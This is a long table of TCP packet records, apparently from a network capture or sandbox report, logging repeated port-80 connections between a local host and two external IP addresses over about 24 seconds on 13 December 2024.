Dec 13, 2024 08:21:50.710622072 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:50.710786104 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.710850000 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.830552101 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:50.830637932 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.950433969 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:51.139959097 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:51.140161991 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:51.216193914 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:51.216532946 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:51.260035038 CET	80	50149	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:51.260135889 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:51.260359049 CET	80	50146	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:51.260907888 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:51.270024061 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:51.336261988 CET	80	50145	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:51.336294889 CET	80	50150	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:51.336366892 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:51.336447954 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:51.360795975 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:51.389868975 CET	80	50149	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:51.480668068 CET	80	50150	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.338778973 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.339035988 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.339240074 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.358997107 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.465795040 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.478693008 CET	80	50148	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.585581064 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.585808992 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.585808992 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.613429070 CET	80	50149	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:52.613527060 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:52.690679073 CET	80	50150	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.690819979 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.705529928 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:52.705625057 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:52.825356007 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.193908930 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.194168091 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.194230080 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.195285082 CET	50151	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.309379101 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.316138029 CET	80	50151	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.397093058 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:54.397430897 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:54.429156065 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.429284096 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.429352045 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.432172060 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.432491064 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.517429113 CET	80	50153	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:54.517482042 CET	80	50149	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:54.517556906 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:54.519360065 CET	50149	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:54.539630890 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:54.549137115 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.549185038 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.552252054 CET	80	50154	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.552305937 CET	80	50150	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.552314997 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.552367926 CET	50150	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.552906990 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:54.659511089 CET	80	50153	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:54.668909073 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:54.672558069 CET	80	50154	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:55.862215996 CET	80	50153	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:55.862288952 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:55.893322945 CET	80	50154	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:55.893378019 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.071329117 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:56.071384907 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:56.071578026 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.072817087 CET	50152	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.184482098 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.192476034 CET	80	50152	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:56.304462910 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:56.304689884 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.304689884 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.424603939 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:56.424688101 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:56.544756889 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.589205980 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:57.589713097 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:57.589858055 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.590538025 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.709393978 CET	80	50153	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:57.709456921 CET	80	50156	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:57.709460974 CET	50153	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:57.709530115 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:57.710021973 CET	80	50154	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.710089922 CET	50154	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.710325956 CET	80	50157	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.710531950 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.724216938 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:57.724621058 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.844773054 CET	80	50156	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:57.844995975 CET	80	50157	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.916450977 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.916527033 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:57.916652918 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:57.917908907 CET	50155	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:58.028217077 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:58.037620068 CET	80	50155	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:58.148071051 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:58.148272991 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:58.148272991 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:58.268152952 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:58.268234968 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:58.387928009 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.065141916 CET	80	50156	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:59.065339088 CET	80	50157	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.065367937 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:59.065431118 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:59.748713017 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.748776913 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.748939991 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:59.750087023 CET	50158	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:59.856858969 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:59.869818926 CET	80	50158	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.976747036 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:59.976887941 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:59.976943970 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.096856117 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:00.097253084 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.217216969 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:00.751966000 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.752454996 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.780510902 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:00.780854940 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:00.872582912 CET	80	50157	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:00.872601986 CET	80	50160	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:00.872649908 CET	50157	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.872817993 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.888278008 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:00.900765896 CET	80	50156	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:00.900779963 CET	80	50161	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:00.900827885 CET	50156	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:00.900974035 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:00.948925018 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:01.008136034 CET	80	50160	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.068775892 CET	80	50161	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:01.595606089 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.595729113 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.595804930 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:01.597070932 CET	50159	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:01.700123072 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:01.716902018 CET	80	50159	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.820250034 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.820389032 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:01.820389032 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:01.940351963 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:01.940480947 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:02.060389042 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:02.206060886 CET	80	50160	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:02.206377029 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:02.236259937 CET	80	50161	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:02.236473083 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:03.436482906 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.436572075 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.436633110 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.437948942 CET	50162	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.543844938 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.557857990 CET	80	50162	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.663819075 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.663979053 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.663979053 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.758282900 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.758517027 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.783718109 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.783879995 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.796845913 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:03.797557116 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:03.878284931 CET	80	50164	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.878402948 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.878437996 CET	80	50160	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.878695011 CET	50160	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.888216972 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:03.903637886 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:03.917207003 CET	80	50161	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:03.917236090 CET	80	50165	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:03.917375088 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:03.917409897 CET	50161	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:03.928824902 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:04.007975101 CET	80	50164	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:04.048665047 CET	80	50165	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:04.885937929 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:04.886055946 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.209073067 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.209074020 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:05.231077909 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.237787008 CET	80	50164	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.237840891 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.267927885 CET	80	50165	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:05.267998934 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:05.287003994 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.287399054 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.287473917 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.288697004 CET	50163	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.324811935 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:05.408422947 CET	80	50163	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.410967112 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.512334108 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.530700922 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.530873060 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.530873060 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.629190922 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:05.651782036 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.652060032 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.771842003 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:05.924689054 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:05.924875021 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:05.934236050 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.012305975 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:06.121578932 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.225123882 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.418540001 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:06.434079885 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:06.935343027 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.935487032 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.982206106 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:06.982286930 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:06.982449055 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.983686924 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:06.983848095 CET	50166	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.045090914 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.045342922 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.055217981 CET	80	50167	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.055501938 CET	80	50164	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.055600882 CET	50164	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.056983948 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.057207108 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.090861082 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.103630066 CET	80	50166	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.121568918 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.165258884 CET	80	50168	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:07.165298939 CET	80	50165	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:07.165456057 CET	50165	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.165457010 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.167603016 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.176839113 CET	80	50167	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.210715055 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.213001966 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.213072062 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.231102943 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.287388086 CET	80	50168	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:07.324707031 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.324939013 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:07.333086014 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.336998940 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:07.456701040 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:07.934087038 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:08.324959040 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:08.393556118 CET	80	50167	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:08.393657923 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:08.503388882 CET	80	50168	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:08.503504992 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:08.512202024 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:08.907696009 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:08.907983065 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:08.908035040 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:08.909073114 CET	50169	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.012888908 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.028913021 CET	80	50169	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:09.132728100 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:09.132812023 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.132899046 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.252867937 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:09.252950907 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.372905970 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:09.731038094 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:09.809133053 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.121599913 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.244642019 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.244932890 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.245012999 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.245104074 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.365073919 CET	80	50171	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:10.365117073 CET	80	50172	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.365132093 CET	80	50168	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:10.365211964 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.365230083 CET	50168	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.365469933 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.365772963 CET	80	50167	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.365832090 CET	50167	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.383579016 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.383725882 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.503719091 CET	80	50171	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:10.503763914 CET	80	50172	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.584680080 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.584731102 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.584800005 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.586095095 CET	50170	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.621573925 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:10.700098991 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.705929041 CET	80	50170	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.819922924 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.820005894 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.820060968 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.824738026 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:10.939728975 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:10.939845085 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:11.012207031 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:11.060178995 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:11.706630945 CET	80	50172	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:11.706686020 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:11.721841097 CET	80	50171	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:11.721972942 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:12.271449089 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:12.271478891 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:12.271542072 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.272877932 CET	50173	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.387612104 CET	50174	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.392838955 CET	80	50173	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:12.507496119 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:12.507575989 CET	50174	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.507644892 CET	50174	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.627425909 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:12.627506018 CET	50174	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:12.747278929 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:13.421051025 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:13.421374083 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:13.424053907 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:13.424276114 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:13.541114092 CET	80	50175	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:13.541184902 CET	80	50172	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:13.541239977 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:13.541270018 CET	50172	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:13.541955948 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:13.544096947 CET	80	50176	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:13.544178009 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:13.544286013 CET	80	50171	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:13.544384956 CET	50171	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:13.546480894 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:13.661660910 CET	80	50175	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:13.666346073 CET	80	50176	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:14.154623032 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.154658079 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.154736996 CET	50174	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.156039953 CET	50174	80	192.168.2.11	185.81.68.147
